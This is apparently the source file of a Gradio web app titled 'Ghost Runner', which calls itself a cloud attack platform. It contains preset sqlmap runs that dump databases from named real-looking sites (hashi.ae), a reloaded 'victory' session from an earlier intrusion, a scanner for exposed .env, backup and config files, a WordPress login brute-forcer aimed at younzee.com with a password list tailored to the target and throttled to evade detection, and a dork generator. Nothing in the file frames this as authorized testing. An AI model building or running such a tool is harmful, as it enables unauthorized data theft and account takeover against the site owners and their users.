Spaces:
Sleeping
Sleeping
| import gradio as gr | |
| import subprocess | |
| import os | |
| import shutil | |
| from pathlib import Path | |
| import requests | |
| import re | |
| from concurrent.futures import ThreadPoolExecutor | |
| import time | |
| import random | |
| # --- Session Restoration Logic --- | |
| def restore_session(): | |
| # SQLMap in Docker uses /root/.local/share/sqlmap/output/ | |
| session_source = "session.sqlite" | |
| target_base = Path("/root/.local/share/sqlmap/output/hashi.ae") | |
| if os.path.exists(session_source): | |
| try: | |
| target_base.mkdir(parents=True, exist_ok=True) | |
| shutil.copy(session_source, target_base / "session.sqlite") | |
| # Also try the www. variant | |
| target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae") | |
| target_www.mkdir(parents=True, exist_ok=True) | |
| shutil.copy(session_source, target_www / "session.sqlite") | |
| return f"β Victory Session Injected into {target_base}" | |
| except Exception as e: | |
| return f"β οΈ Session restore warning: {str(e)}" | |
| return "βΉοΈ No session file found in repository." | |
| def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args): | |
| # Restore session first | |
| session_status = restore_session() | |
| if not url: | |
| yield f"{session_status}\nβ Error: Target URL is required." | |
| return | |
| # Base command | |
| cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"] | |
| # Performance & Level | |
| cmd += ["--threads", str(int(threads))] | |
| cmd += ["--level", str(int(level))] | |
| cmd += ["--risk", str(int(risk))] | |
| # Specific options | |
| if tamper: | |
| cmd += ["--tamper", tamper] | |
| if techn: | |
| cmd += ["--technique", techn] | |
| if proxy: | |
| cmd += ["--proxy", proxy] | |
| if extra_args: | |
| cmd += extra_args.split() | |
| yield f"{session_status}\nπ Launching SQLMAP Cloud Runner...\nπ°οΈ Command: {' '.join(cmd)}\n\n" | |
| try: | |
| process = subprocess.Popen( | |
| cmd, | |
| stdout=subprocess.PIPE, | |
| stderr=subprocess.STDOUT, | |
| text=True, | |
| bufsize=1, | |
| universal_newlines=True | |
| ) | |
| full_log = "" | |
| for line in process.stdout: | |
| full_log += line | |
| yield full_log | |
| process.wait() | |
| if process.returncode == 0: | |
| yield full_log + "\nβ Scan completed successfully." | |
| else: | |
| yield full_log + f"\nβ οΈ Scan stopped with return code {process.returncode}." | |
| except Exception as e: | |
| yield f"β Fatal Error: {str(e)}" | |
| # Pre-filled shortcuts | |
| def set_hashi_victory(): | |
| return ( | |
| "https://hashi.ae/shop/page/4/?add-to-cart=638", | |
| 10, 5, 3, | |
| "", "U", "", | |
| "--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast" | |
| ) | |
| def set_search_attack(): | |
| return ( | |
| "https://hashi.ae/?s=iphone", | |
| 10, 5, 3, | |
| "space2comment", "BEU", "", | |
| "--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast" | |
| ) | |
| def set_mysql_attack(): | |
| return ( | |
| "https://hashi.ae/?s=iphone", | |
| 10, 5, 3, | |
| "space2comment", "BEU", "", | |
| "--dbms=MySQL --dump --force-ssl --random-agent --no-cast" | |
| ) | |
| # --- Auto Hunter Logic (Merged) --- | |
| COMMON_PATHS = [ | |
| ".env", "wp-config.php.bak", "config.php.bak", "db.sql", "database.sql", "dump.sql", "backup.zip", | |
| "admin/", "login/", "wp-admin/", "dashboard/", "panel/", "user/", "auth/", "phpinfo.php", | |
| "robots.txt", "sitemap.xml", ".git/HEAD", ".vscode/sftp.json" | |
| ] | |
| def auto_hunt(domain): | |
| if not domain: | |
| yield "β Enter a domain first." | |
| return | |
| domain = domain.replace("https://", "").replace("http://", "").strip("/") | |
| base_url = f"https://{domain}" | |
| yield f"π Launching Smart Auto-Hunter on {base_url}...\n" | |
| def check_path(path): | |
| url = f"{base_url}/{path}" | |
| try: | |
| r = requests.get(url, timeout=3, headers={"User-Agent": "Mozilla/5.0 (AutoHunter)"}) | |
| code = r.status_code | |
| size = len(r.content) | |
| if code == 200: | |
| if size < 500 and "do not exist" in r.text.lower(): | |
| return None | |
| return f"β FOUND: {url} (Size: {size})" | |
| elif code == 403: | |
| return f"π FORBIDDEN: {url}" | |
| return None | |
| except: | |
| return None | |
| results = [] | |
| with ThreadPoolExecutor(max_workers=10) as executor: | |
| futures = [executor.submit(check_path, p) for p in COMMON_PATHS] | |
| for f in futures: | |
| res = f.result() | |
| if res: | |
| results.append(res) | |
| yield "\n".join(results) | |
| if not results: | |
| yield "\nπ€· No standard vulnerabilities found." | |
| else: | |
| yield "\nπ HUNT COMPLETE!" | |
| # --- Brute Force Logic (Fixed v2.2) --- | |
| # Removed 'admin' from default list to avoid stopping early on false positives | |
| PASSWORDS = [ | |
| "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae", | |
| "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root", | |
| "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret", | |
| "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123" | |
| ] | |
| HEADERS = { | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" | |
| } | |
| def brute_force(url, username, custom_list): | |
| if not url or not username: | |
| yield "β URL and Username required." | |
| return | |
| pass_list = PASSWORDS.copy() | |
| if custom_list: | |
| pass_list += [p.strip() for p in custom_list.split('\n') if p.strip()] | |
| yield f"π STARTING PLAN E: BRUTE FORCE on {username}@{url}\n" | |
| session = requests.Session() | |
| session.headers.update(HEADERS) | |
| for pwd in pass_list: | |
| try: | |
| time.sleep(random.uniform(0.5, 1.5)) | |
| data = { | |
| "log": username, "pwd": pwd, "wp-submit": "Log In", | |
| "redirect_to": f"{url}/wp-admin/", "testcookie": "1" | |
| } | |
| yield f"π Testing: {pwd} ... " | |
| r = session.post(url, data=data, timeout=5, allow_redirects=True) | |
| # STRICT CHECK v2.2 | |
| # 1. Login Cookie Check is best | |
| cookies = session.cookies.get_dict() | |
| logged_in_cookie = any('wordpress_logged_in' in c for c in cookies) | |
| # 2. Strict Content Check | |
| success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"]) | |
| # 3. Strict URL Check (Must NOT contain wp-login.php) | |
| is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url | |
| if logged_in_cookie or success_content or is_redirected_to_admin: | |
| yield "β SUCCESS! π\n" | |
| yield f"π CREDENTIALS FOUND: {username}:{pwd}\n" | |
| return | |
| elif "incorrect_password" in r.text or "lost your password" in r.text: | |
| yield "β Failed.\n" | |
| else: | |
| yield "β Failed (Generic).\n" | |
| except Exception as e: | |
| yield f"β οΈ Error: {str(e)}\n" | |
| yield "\nπ Wordlist Exhausted." | |
| # --- Dork Studio Logic --- | |
| def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors): | |
| dorks = [] | |
| base = f"site:{domain}" if domain else "" | |
| if find_admin: | |
| keywords = ["admin", "login", "dashboard", "portal", "cpanel", "wp-admin"] | |
| for k in keywords: | |
| dorks.append(f"Admin Search: {base} inurl:{k}") | |
| if find_files: | |
| exts = ["env", "log", "sql", "bak", "txt", "config"] | |
| if targeted_extensions: | |
| exts += targeted_extensions.split(",") | |
| for ext in exts: | |
| if ext.strip(): | |
| dorks.append(f"File Exposure ({ext.strip()}): {base} ext:{ext.strip()}") | |
| dorks.append(f"{base} intitle:\"index of\"") | |
| if find_errors: | |
| errors = ["SQL syntax", "warning: mysql_", "unclosed quotation mark", "syntax error"] | |
| for err in errors: | |
| dorks.append(f"Error Leak: {base} intext:\"{err}\"") | |
| return "\n".join(dorks) | |
| with gr.Blocks() as demo: | |
| gr.Markdown("# π GHOST RUNNER v2.2 (STRICT) π»") | |
| gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.") | |
| with gr.Tabs(): | |
| # TAB 1: ATTACK RUNNER (SQLMap) | |
| with gr.TabItem("βοΈ SQL Attack Runner"): | |
| with gr.Row(): | |
| with gr.Column(scale=2): | |
| url_input = gr.Textbox(label="π― Target URL", placeholder="https://example.com/page.php?id=1") | |
| with gr.Tabs(): | |
| with gr.TabItem("π Performance"): | |
| with gr.Row(): | |
| threads_input = gr.Slider(minimum=1, maximum=10, step=1, value=10, label="Threads") | |
| level_input = gr.Slider(minimum=1, maximum=5, step=1, value=5, label="Level") | |
| risk_input = gr.Slider(minimum=1, maximum=3, step=1, value=3, label="Risk") | |
| with gr.TabItem("π‘οΈ Advanced"): | |
| tamper_input = gr.Textbox(label="π§ͺ Tampers", placeholder="space2comment,randomcase") | |
| techn_input = gr.Textbox(label="π‘ Technique", placeholder="U (UNION), B (Blind), etc.") | |
| proxy_input = gr.Textbox(label="π Proxy (Optional)", placeholder="http://127.0.0.1:8080") | |
| extra_input = gr.Textbox(label="βοΈ Extra Arguments", placeholder="--dbms=Oracle --dump --batch") | |
| with gr.Row(): | |
| btn_run = gr.Button("π₯ START SCAN", variant="primary") | |
| with gr.Row(): | |
| btn_hashi = gr.Button("π° Hashi Victory", variant="secondary") | |
| btn_search = gr.Button("π Search (Oracle)", variant="stop") | |
| btn_mysql = gr.Button("π¬ Search (MySQL - Plan D)", variant="secondary") | |
| btn_stop = gr.Button("π STOP", variant="stop") | |
| with gr.Column(scale=3): | |
| output_log = gr.Code(label="π LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30) | |
| # TAB 2: AUTO HUNTER | |
| with gr.TabItem("π€ Auto-Hunter (Recon)"): | |
| with gr.Row(): | |
| with gr.Column(): | |
| t_domain = gr.Textbox(label="Target Domain", placeholder="younzee.com") | |
| btn_auto = gr.Button("π START AUTO-SCAN", variant="primary") | |
| with gr.Column(): | |
| t_output = gr.Code(label="Live Results", language="markdown", lines=20) | |
| # TAB 3: BRUTE FORCE (Plan E) | |
| with gr.TabItem("π₯ Brute Force (Plan E)"): | |
| with gr.Row(): | |
| with gr.Column(): | |
| bf_url = gr.Textbox(label="Login URL", value="https://younzee.com/wp-login.php") | |
| bf_user = gr.Textbox(label="Username", value="admin") | |
| bf_pass = gr.Textbox(label="Custom Passwords", lines=5) | |
| btn_bf = gr.Button("π₯ LAUNCH ATTACK", variant="stop") | |
| with gr.Column(): | |
| bf_out = gr.Code(label="Brute Force Logs", language="markdown", lines=20) | |
| # TAB 4: RECON STUDIO (Legacy) | |
| with gr.TabItem("π¦ Dork Studio"): | |
| with gr.Row(): | |
| with gr.Column(): | |
| domain_input = gr.Textbox(label="Target Domain", placeholder="example.com") | |
| ext_input = gr.Textbox(label="Custom Extensions", placeholder="jsp, php, asp") | |
| with gr.Group(): | |
| check_admin = gr.Checkbox(label="Find Admin Panels", value=True) | |
| check_files = gr.Checkbox(label="Find Sensitive Files", value=True) | |
| check_errors = gr.Checkbox(label="Find SQL Errors", value=True) | |
| btn_gen = gr.Button("π Generate Recon Dorks", variant="primary") | |
| with gr.Column(): | |
| dork_output = gr.Textbox(label="Generated Dorks", lines=20) | |
| # Event handlers | |
| btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True) | |
| btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) | |
| btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) | |
| btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) | |
| btn_auto.click(auto_hunt, inputs=t_domain, outputs=t_output) | |
| btn_bf.click(brute_force, inputs=[bf_url, bf_user, bf_pass], outputs=bf_out) | |
| btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output) | |
| if __name__ == "__main__": | |
| print("β¨ Ghost Runner v2.2 (Strict) Command Center Live.") | |
| demo.queue().launch( | |
| server_name="0.0.0.0", | |
| server_port=7860, | |
| theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate") | |
| ) | |